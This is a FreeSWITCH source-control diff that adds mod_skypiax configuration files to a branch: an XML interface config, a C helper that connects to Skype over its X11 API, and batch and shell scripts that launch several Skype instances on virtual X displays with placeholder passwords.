+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":119"/>
+	<param name="tcp_cli_port" value="15592"/>
+	<param name="tcp_srv_port" value="15593"/>
+	<param name="skype_user" value="skypiax1"/>
+    </interface>
+
+    <interface id="20" name="skypiax20">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":120"/>
+	<param name="tcp_cli_port" value="15594"/>
+	<param name="tcp_srv_port" value="15595"/>
+	<param name="skype_user" value="skypiax1"/>
+    </interface>
+
+    -->
+
+    <interface id="21" name="skypiax21">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":121"/>
+	<param name="tcp_cli_port" value="25556"/>
+	<param name="tcp_srv_port" value="25557"/>
+	<param name="skype_user" value="skypiax2"/>
+    	<param name="destination" value="5000"/>
+    </interface>
+    <interface id="22" name="skypiax22">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":122"/>
+	<param name="tcp_cli_port" value="25558"/>
+	<param name="tcp_srv_port" value="25559"/>
+	<param name="skype_user" value="skypiax2"/>
+    	<param name="destination" value="5000"/>
+    </interface>
+    <interface id="23" name="skypiax23">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":123"/>
+	<param name="tcp_cli_port" value="25560"/>
+	<param name="tcp_srv_port" value="25561"/>
+	<param name="skype_user" value="skypiax2"/>
+    </interface>
+
+    <interface id="24" name="skypiax24">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":124"/>
+	<param name="tcp_cli_port" value="25562"/>
+	<param name="tcp_srv_port" value="25563"/>
+	<param name="skype_user" value="skypiax2"/>
+    </interface>
+
+    <interface id="25" name="skypiax25">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":125"/>
+	<param name="tcp_cli_port" value="25564"/>
+	<param name="tcp_srv_port" value="25565"/>
+	<param name="skype_user" value="skypiax2"/>
+    </interface>
+    <interface id="26" name="skypiax26">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":126"/>
+	<param name="tcp_cli_port" value="25566"/>
+	<param name="tcp_srv_port" value="25567"/>
+	<param name="skype_user" value="skypiax2"/>
+    </interface>
+    <interface id="27" name="skypiax27">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":127"/>
+	<param name="tcp_cli_port" value="25568"/>
+	<param name="tcp_srv_port" value="25569"/>
+	<param name="skype_user" value="skypiax2"/>
+    </interface>
+
+    <interface id="28" name="skypiax28">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":128"/>
+	<param name="tcp_cli_port" value="25570"/>
+	<param name="tcp_srv_port" value="25571"/>
+	<param name="skype_user" value="skypiax2"/>
+    </interface>
+
+    <interface id="29" name="skypiax29">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":129"/>
+	<param name="tcp_cli_port" value="25572"/>
+	<param name="tcp_srv_port" value="25573"/>
+	<param name="skype_user" value="skypiax2"/>
+    </interface>
+
+    <interface id="30" name="skypiax30">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":130"/>
+	<param name="tcp_cli_port" value="25574"/>
+	<param name="tcp_srv_port" value="25575"/>
+	<param name="skype_user" value="skypiax2"/>
+    </interface>
+
+    <!-- following interfaces are commented out!
+    <interface id="31" name="skypiax31">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":131"/>
+	<param name="tcp_cli_port" value="25576"/>
+	<param name="tcp_srv_port" value="25577"/>
+	<param name="skype_user" value="skypiax2"/>
+    </interface>
+
+    <interface id="32" name="skypiax32">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":132"/>
+	<param name="tcp_cli_port" value="25578"/>
+	<param name="tcp_srv_port" value="25579"/>
+	<param name="skype_user" value="skypiax2"/>
+    </interface>
+
+    <interface id="33" name="skypiax33">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":133"/>
+	<param name="tcp_cli_port" value="25580"/>
+	<param name="tcp_srv_port" value="25581"/>
+	<param name="skype_user" value="skypiax2"/>
+    </interface>
+
+    <interface id="34" name="skypiax34">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":134"/>
+	<param name="tcp_cli_port" value="25582"/>
+	<param name="tcp_srv_port" value="25583"/>
+	<param name="skype_user" value="skypiax2"/>
+    </interface>
+
+    <interface id="35" name="skypiax35">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":135"/>
+	<param name="tcp_cli_port" value="25584"/>
+	<param name="tcp_srv_port" value="25585"/>
+	<param name="skype_user" value="skypiax2"/>
+    </interface>
+
+    <interface id="36" name="skypiax36">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":136"/>
+	<param name="tcp_cli_port" value="25586"/>
+	<param name="tcp_srv_port" value="25587"/>
+	<param name="skype_user" value="skypiax2"/>
+    </interface>
+
+    <interface id="37" name="skypiax37">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":137"/>
+	<param name="tcp_cli_port" value="25588"/>
+	<param name="tcp_srv_port" value="25589"/>
+	<param name="skype_user" value="skypiax2"/>
+    </interface>
+
+    <interface id="38" name="skypiax38">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":138"/>
+	<param name="tcp_cli_port" value="25590"/>
+	<param name="tcp_srv_port" value="25591"/>
+	<param name="skype_user" value="skypiax2"/>
+    </interface>
+
+    <interface id="39" name="skypiax39">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":139"/>
+	<param name="tcp_cli_port" value="25592"/>
+	<param name="tcp_srv_port" value="25593"/>
+	<param name="skype_user" value="skypiax2"/>
+    </interface>
+
+    <interface id="40" name="skypiax40">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":140"/>
+	<param name="tcp_cli_port" value="25594"/>
+	<param name="tcp_srv_port" value="25595"/>
+	<param name="skype_user" value="skypiax2"/>
+    </interface>
+    -->
+
+
+
+  </per_interface_settings>
+</configuration>

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/skypiax.X.conf

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/skypiax.X.conf (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/skypiax.X.conf) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/skypiax.X.conf	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/skypiax.X.conf	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1 @@
+localhost

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/skypiax.conf.xml

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/skypiax.conf.xml (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/skypiax.conf.xml) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/skypiax.conf.xml	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/skypiax.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,214 @@
+<configuration name="skypiax.conf" description="Skypiax Configuration">
+  <global_settings>
+    <param name="debug" value="8"/>
+    <param name="codec-master" value="us"/>
+    <param name="dialplan" value="XML"/>
+    <param name="context" value="default"/>
+    <param name="codec-prefs" value="gsm,ulaw"/>
+    <param name="codec-rates" value="8000,16000"/>
+    <param name="hold-music" value="$${moh_uri}"/>
+    <param name="destination" value="5000"/>
+  </global_settings>
+  <!-- one entry here per skypiax interface -->
+  <per_interface_settings>
+    <interface id="1" name="interface1">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":101"/>
+	<param name="tcp_cli_port" value="15556"/>
+	<param name="tcp_srv_port" value="15557"/>
+	<param name="skype_user" value="skypiax1"/>
+    	<param name="destination" value="5000"/>
+    </interface>
+    <interface id="2" name="interface2">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":102"/>
+	<param name="tcp_cli_port" value="15558"/>
+	<param name="tcp_srv_port" value="15559"/>
+	<param name="skype_user" value="skypiax2"/>
+    	<param name="destination" value="5000"/>
+    </interface>
+    <!-- following interfaces are commented out!
+    <interface id="3" name="interface3">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":103"/>
+	<param name="tcp_cli_port" value="15560"/>
+	<param name="tcp_srv_port" value="15561"/>
+	<param name="skype_user" value="skypiax3"/>
+    </interface>
+
+    <interface id="4" name="interface4">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":104"/>
+	<param name="tcp_cli_port" value="15562"/>
+	<param name="tcp_srv_port" value="15563"/>
+	<param name="skype_user" value="skypiax4"/>
+    </interface>
+
+    <interface id="5" name="interface5">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":105"/>
+	<param name="tcp_cli_port" value="15564"/>
+	<param name="tcp_srv_port" value="15565"/>
+	<param name="skype_user" value="skypiax5"/>
+    </interface>
+    <interface id="6" name="interface6">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":106"/>
+	<param name="tcp_cli_port" value="15566"/>
+	<param name="tcp_srv_port" value="15567"/>
+	<param name="skype_user" value="skypiax6"/>
+    </interface>
+    <interface id="7" name="interface7">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":107"/>
+	<param name="tcp_cli_port" value="15568"/>
+	<param name="tcp_srv_port" value="15569"/>
+	<param name="skype_user" value="skypiax7"/>
+    </interface>
+
+    <interface id="8" name="interface8">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":108"/>
+	<param name="tcp_cli_port" value="15570"/>
+	<param name="tcp_srv_port" value="15571"/>
+	<param name="skype_user" value="skypiax8"/>
+    </interface>
+
+    <interface id="9" name="interface9">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":109"/>
+	<param name="tcp_cli_port" value="15572"/>
+	<param name="tcp_srv_port" value="15573"/>
+	<param name="skype_user" value="skypiax9"/>
+    </interface>
+
+    <interface id="10" name="interface10">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":110"/>
+	<param name="tcp_cli_port" value="15574"/>
+	<param name="tcp_srv_port" value="15575"/>
+	<param name="skype_user" value="skypiax10"/>
+    </interface>
+
+    <interface id="11" name="interface11">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":111"/>
+	<param name="tcp_cli_port" value="15576"/>
+	<param name="tcp_srv_port" value="15577"/>
+	<param name="skype_user" value="skypiax11"/>
+    </interface>
+
+    <interface id="12" name="interface12">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":112"/>
+	<param name="tcp_cli_port" value="15578"/>
+	<param name="tcp_srv_port" value="15579"/>
+	<param name="skype_user" value="skypiax12"/>
+    </interface>
+
+    <interface id="13" name="interface13">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":113"/>
+	<param name="tcp_cli_port" value="15580"/>
+	<param name="tcp_srv_port" value="15581"/>
+	<param name="skype_user" value="skypiax13"/>
+    </interface>
+
+    <interface id="14" name="interface14">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":114"/>
+	<param name="tcp_cli_port" value="15582"/>
+	<param name="tcp_srv_port" value="15583"/>
+	<param name="skype_user" value="skypiax14"/>
+    </interface>
+
+    <interface id="15" name="interface15">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":115"/>
+	<param name="tcp_cli_port" value="15584"/>
+	<param name="tcp_srv_port" value="15585"/>
+	<param name="skype_user" value="skypiax15"/>
+    </interface>
+
+    <interface id="16" name="interface16">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":116"/>
+	<param name="tcp_cli_port" value="15586"/>
+	<param name="tcp_srv_port" value="15587"/>
+	<param name="skype_user" value="skypiax16"/>
+    </interface>
+
+    <interface id="17" name="interface17">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":117"/>
+	<param name="tcp_cli_port" value="15588"/>
+	<param name="tcp_srv_port" value="15589"/>
+	<param name="skype_user" value="skypiax17"/>
+    </interface>
+
+    <interface id="18" name="interface18">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":118"/>
+	<param name="tcp_cli_port" value="15590"/>
+	<param name="tcp_srv_port" value="15591"/>
+	<param name="skype_user" value="skypiax18"/>
+    </interface>
+
+    <interface id="19" name="interface19">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":119"/>
+	<param name="tcp_cli_port" value="15592"/>
+	<param name="tcp_srv_port" value="15593"/>
+	<param name="skype_user" value="skypiax19"/>
+    </interface>
+
+    <interface id="20" name="interface20">
+	<param name="hold-music" value="$${moh_uri}"/>
+	<param name="dialplan" value="XML"/>
+	<param name="context" value="default"/>
+	<param name="X11-display" value=":120"/>
+	<param name="tcp_cli_port" value="15594"/>
+	<param name="tcp_srv_port" value="15595"/>
+	<param name="skype_user" value="skypiax20"/>
+    </interface>
+    -->
+  </per_interface_settings>
+</configuration>

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/skypiax_auth.c

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/skypiax_auth.c (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/skypiax_auth.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/skypiax_auth.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/skypiax_auth.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,230 @@
+//gcc -Wall -ggdb skypiax_auth.c -o skypiax_auth -lX11
+#include <stdio.h>
+#include <unistd.h>
+#include <X11/Xlib.h>
+#include <X11/Xlibint.h>
+#include <X11/Xatom.h>
+
+struct SkypiaxHandles {
+  Window skype_win;
+  Display *disp;
+  Window win;
+  int api_connected;
+  int fdesc[2];
+};
+
+XErrorHandler old_handler = 0;
+int xerror = 0;
+char *dispname;
+
+int X11_errors_handler(Display * dpy, XErrorEvent * err)
+{
+  (void) dpy;
+
+  xerror = err->error_code;
+  printf("\n\nReceived error code %d from X Server on display '%s'\n\n", xerror,
+         dispname);
+  return 0;                     /*  ignore the error */
+}
+
+static void X11_errors_trap(void)
+{
+  xerror = 0;
+  old_handler = XSetErrorHandler(X11_errors_handler);
+}
+
+static int X11_errors_untrap(void)
+{
+  XSetErrorHandler(old_handler);
+  return (xerror != BadValue) && (xerror != BadWindow);
+}
+
+int skypiax_send_message(struct SkypiaxHandles *SkypiaxHandles, const char *message_P)
+{
+
+  Window w_P;
+  Display *disp;
+  Window handle_P;
+  int ok;
+
+  w_P = SkypiaxHandles->skype_win;
+  disp = SkypiaxHandles->disp;
+  handle_P = SkypiaxHandles->win;
+
+  Atom atom1 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
+  Atom atom2 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
+  unsigned int pos = 0;
+  unsigned int len = strlen(message_P);
+  XEvent e;
+
+  memset(&e, 0, sizeof(e));
+  e.xclient.type = ClientMessage;
+  e.xclient.message_type = atom1;   /*  leading message */
+  e.xclient.display = disp;
+  e.xclient.window = handle_P;
+  e.xclient.format = 8;
+
+  X11_errors_trap();
+  do {
+    unsigned int i;
+    for (i = 0; i < 20 && i + pos <= len; ++i)
+      e.xclient.data.b[i] = message_P[i + pos];
+    XSendEvent(disp, w_P, False, 0, &e);
+
+    e.xclient.message_type = atom2; /*  following messages */
+    pos += i;
+  } while (pos <= len);
+
+  XSync(disp, False);
+  ok = X11_errors_untrap();
+
+  if (!ok)
+    printf("Sending message failed with status %d\n", xerror);
+
+  return 1;
+}
+
+int skypiax_present(struct SkypiaxHandles *SkypiaxHandles)
+{
+  Atom skype_inst = XInternAtom(SkypiaxHandles->disp, "_SKYPE_INSTANCE", True);
+
+  Atom type_ret;
+  int format_ret;
+  unsigned long nitems_ret;
+  unsigned long bytes_after_ret;
+  unsigned char *prop;
+  int status;
+
+  X11_errors_trap();
+  status =
+    XGetWindowProperty(SkypiaxHandles->disp, DefaultRootWindow(SkypiaxHandles->disp),
+                       skype_inst, 0, 1, False, XA_WINDOW, &type_ret, &format_ret,
+                       &nitems_ret, &bytes_after_ret, &prop);
+
+  X11_errors_untrap();
+  /*  sanity check */
+  if (status != Success || format_ret != 32 || nitems_ret != 1) {
+    SkypiaxHandles->skype_win = (Window) - 1;
+    printf("Skype instance not found on display '%s'\n", dispname);
+    return 0;
+  }
+
+  SkypiaxHandles->skype_win = *(const unsigned long *) prop & 0xffffffff;
+  printf("Skype instance found on display '%s', with id #%d\n", dispname,
+         (unsigned int) SkypiaxHandles->skype_win);
+  return 1;
+}
+
+void skypiax_clean_disp(void *data)
+{
+
+  int *dispptr;
+  int disp;
+
+  dispptr = data;
+  disp = *dispptr;
+
+  if (disp) {
+    close(disp);
+  } else {
+  }
+  usleep(1000);
+}
+
+int main(int argc, char *argv[])
+{
+
+  struct SkypiaxHandles SkypiaxHandles;
+  char buf[512];
+  Display *disp = NULL;
+  Window root = -1;
+  Window win = -1;
+
+  if (argc == 2)
+    dispname = argv[1];
+  else
+    dispname = ":0.0";
+
+  disp = XOpenDisplay(dispname);
+  if (!disp) {
+    printf("Cannot open X Display '%s', exiting\n", dispname);
+    return -1;
+  }
+
+  int xfd;
+  xfd = XConnectionNumber(disp);
+
+  SkypiaxHandles.disp = disp;
+
+  if (skypiax_present(&SkypiaxHandles)) {
+    root = DefaultRootWindow(disp);
+    win =
+      XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0,
+                          BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp,
+                                                                            DefaultScreen
+                                                                            (disp)));
+
+    SkypiaxHandles.win = win;
+
+    snprintf(buf, 512, "NAME skypiax");
+
+    if (!skypiax_send_message(&SkypiaxHandles, buf)) {
+      printf
+        ("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
+      return -1;
+    }
+
+    snprintf(buf, 512, "PROTOCOL 6");
+    if (!skypiax_send_message(&SkypiaxHandles, buf)) {
+      printf
+        ("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
+      return -1;
+    }
+
+    /* perform an events loop */
+    XEvent an_event;
+    char buf[21];               /*  can't be longer */
+    char buffer[17000];
+    char *b;
+    int i;
+
+    b = buffer;
+
+    while (1) {
+      XNextEvent(disp, &an_event);
+      switch (an_event.type) {
+      case ClientMessage:
+
+        if (an_event.xclient.format != 8)
+          break;
+
+        for (i = 0; i < 20 && an_event.xclient.data.b[i] != '\0'; ++i)
+          buf[i] = an_event.xclient.data.b[i];
+
+        buf[i] = '\0';
+
+        strcat(buffer, buf);
+
+        if (i < 20) {           /* last fragment */
+          unsigned int howmany;
+
+          howmany = strlen(b) + 1;
+
+          printf("RECEIVED==> %s\n", b);
+          memset(buffer, '\0', 17000);
+        }
+
+        break;
+      default:
+        break;
+      }
+    }
+  } else {
+    printf
+      ("Skype client not found on display '%s'. Please run/restart Skype manually and launch skypiax_auth again\n\n\n",
+       dispname);
+    return -1;
+  }
+  return 0;
+
+}

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/startskype.bat

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/startskype.bat (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/startskype.bat) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/startskype.bat	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/startskype.bat	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,52 @@
+echo off
+REM
+REM you MUST use the new Skype BETA (4.x) for Windows, older versions (3.x) cannot be started this way
+REM
+REM you have to adjust PATH to where the Skype executable is
+set PATH=%PATH%;C:\Program Files\Skype\Phone\
+
+echo %PATH%
+
+REM start a Skype client instance that will login to the Skype network using the "username password" you give to it. Here xxx would be the password and skypiax1 the username
+start Skype.exe /secondary /username:skypiax1 /password:xxx
+call wait 7
+start Skype.exe /secondary /username:skypiax2 /password:xxx
+call wait 7
+REM 
+REM Following Skype client instances are commented out
+REM
+REM start Skype.exe /secondary /username:skypiax3 /password:xxx
+REM call wait 7
+REM start Skype.exe /secondary /username:skypiax4 /password:xxx
+REM call wait 7
+REM start Skype.exe /secondary /username:skypiax5 /password:xxx
+REM call wait 7
+REM start Skype.exe /secondary /username:skypiax6 /password:xxx
+REM call wait 7
+REM start Skype.exe /secondary /username:skypiax7 /password:xxx
+REM call wait 7
+REM start Skype.exe /secondary /username:skypiax8 /password:xxx
+REM call wait 7
+REM start Skype.exe /secondary /username:skypiax9 /password:xxx
+REM call wait 7
+REM start Skype.exe /secondary /username:skypiax10 /password:xxx
+REM call wait 7
+REM start Skype.exe /secondary /username:skypiax11 /password:xxx
+REM call wait 7
+REM start Skype.exe /secondary /username:skypiax12 /password:xxx
+REM call wait 7
+REM start Skype.exe /secondary /username:skypiax13 /password:xxx
+REM call wait 7
+REM start Skype.exe /secondary /username:skypiax14 /password:xxx
+REM call wait 7
+REM start Skype.exe /secondary /username:skypiax15 /password:xxx
+REM call wait 7
+REM start Skype.exe /secondary /username:skypiax16 /password:xxx
+REM call wait 7
+REM start Skype.exe /secondary /username:skypiax17 /password:xxx
+REM call wait 7
+REM start Skype.exe /secondary /username:skypiax18 /password:xxx
+REM call wait 7
+REM start Skype.exe /secondary /username:skypiax19 /password:xxx
+REM call wait 7
+REM start Skype.exe /secondary /username:skypiax20 /password:xxx

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/startskype.sh

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/startskype.sh (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/startskype.sh) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/startskype.sh	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/startskype.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,143 @@
+# remember to add here the removing of all the installed snd-* modules, so you're sure only the snd-dummy driver will be around
+rmmod snd_hda_intel
+rmmod snd-dummy 
+
+# if you DO NOT USE the custom ALSA device we provide, you need three "standard" dummy soundcard for 20 Skype client instances, because each "standard" dummy soundcard can handle a max of 8 Skype instances
+# the enable= module parameter tells how many cards to start. For each additional card, add a comma and a 1
+# manually configure the first 8 Skype client instances to use the hw:Dummy_0, the next 8 instances to use hw:Dummy_1, etc for all three devices (Play, Capture, Ring)
+modprobe snd-dummy # enable=1,1,1
+sleep 3
+
+#start the fake X server on a given port
+ /usr/bin/Xvfb :101 -ac &
+sleep 3
+
+# start a Skype client instance that will connect to the X server above, and will login to the Skype network using the 'username password' you send to it on stdin. Here xxxx would be the password and skypiax1 the username
+su root -c "/bin/echo 'skypiax1 xxxx'| DISPLAY=:101  /usr/bin/skype --pipelogin &"
+
+
+sleep 7
+
+
+ /usr/bin/Xvfb :102 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:102  /usr/bin/skype --pipelogin &"
+
+sleep 7
+
+exit 0
+
+##################################################################################
+# Following X server and Skype client instances are NOT LAUNCHED (see line before)
+##################################################################################
+
+ /usr/bin/Xvfb :103 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax3 xxxx'| DISPLAY=:103  /usr/bin/skype --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :104 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax4 xxxx'| DISPLAY=:104  /usr/bin/skype --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :105 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax5 xxxx'| DISPLAY=:105  /usr/bin/skype --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :106 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax6 xxxx'| DISPLAY=:106  /usr/bin/skype --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :107 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax7 xxxx'| DISPLAY=:107  /usr/bin/skype --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :108 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax8 xxxx'| DISPLAY=:108  /usr/bin/skype --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :109 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax9 xxxx'| DISPLAY=:109  /usr/bin/skype --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :110 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax10 xxxx'| DISPLAY=:110  /usr/bin/skype --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :111 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax11 xxxx'| DISPLAY=:111  /usr/bin/skype --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :112 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax12 xxxx'| DISPLAY=:112  /usr/bin/skype --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :113 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax13 xxxx'| DISPLAY=:113  /usr/bin/skype --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :114 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax14 xxxx'| DISPLAY=:114  /usr/bin/skype --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :115 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax15 xxxx'| DISPLAY=:115  /usr/bin/skype --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :116 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax16 xxxx'| DISPLAY=:116  /usr/bin/skype --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :117 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax17 xxxx'| DISPLAY=:117  /usr/bin/skype --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :118 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax18 xxxx'| DISPLAY=:118  /usr/bin/skype --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :119 -ac & 
+sleep 3
+
